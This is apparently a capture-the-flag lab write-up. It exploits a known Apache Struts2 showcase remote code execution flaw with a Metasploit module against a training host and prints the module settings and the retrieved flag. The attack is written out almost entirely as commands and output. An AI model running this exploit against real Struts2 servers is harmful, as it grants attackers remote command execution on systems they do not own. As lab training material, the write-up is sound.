Description:

Exploit known vulnerability in web-service.
The flag is located in the root.txt file in the root of the file system.

Attacking

```
use exploit/multi/http/struts2_code_exec_showcase
set PAYLOAD cmd/unix/generic
set RHOST http://web.o54roywkbt6kdoerv11f.labs.cyber-ed.space
set RPORT 80
set TARGETURI /integration/saveGangster.action
set CMD '/bin/echo $FLAG'
exploit
```

```
msf6 exploit(multi/http/struts2_code_exec_showcase) > options

Module options (exploit/multi/http/struts2_code_exec_showcase):

   Name       Current Setting               Required  Description
   ----       ---------------               --------  -----------
   POSTPARAM  name                          yes       The HTTP POST parameter
   Proxies                                  no        A proxy chain of format type:host:port[,type:hos
                                                      t:port][ ... ]
   RHOSTS     http://web.o54roywkbt6kdoerv  yes       The target host(s), see https://docs.metasploit.
              11f.labs.cyber-ed.space                 com/docs/using-metasploit/basics/using-metasploi
                                                      t.html
   RPORT      80                            yes       The target port (TCP)
   SSL        false                         no        Negotiate SSL/TLS for outgoing connections
   TARGETURI  /integration/saveGangster.ac  yes       The path to a struts application action
              tion
   VHOST                                    no        HTTP server virtual host


Payload options (cmd/unix/generic):

   Name  Current Setting  Required  Description
   ----  ---------------  --------  -----------
   CMD   /bin/echo $FLAG  yes       The command string to execute


Exploit target:

   Id  Name
   --  ----
   0   Universal



View the full module info with the info, or info -d command.
```

and we get the flag

```
msf6 exploit(multi/http/struts2_code_exec_showcase) > run

[+] Command executed
flag{dbda37433515642939bcbd6761e0382c}
```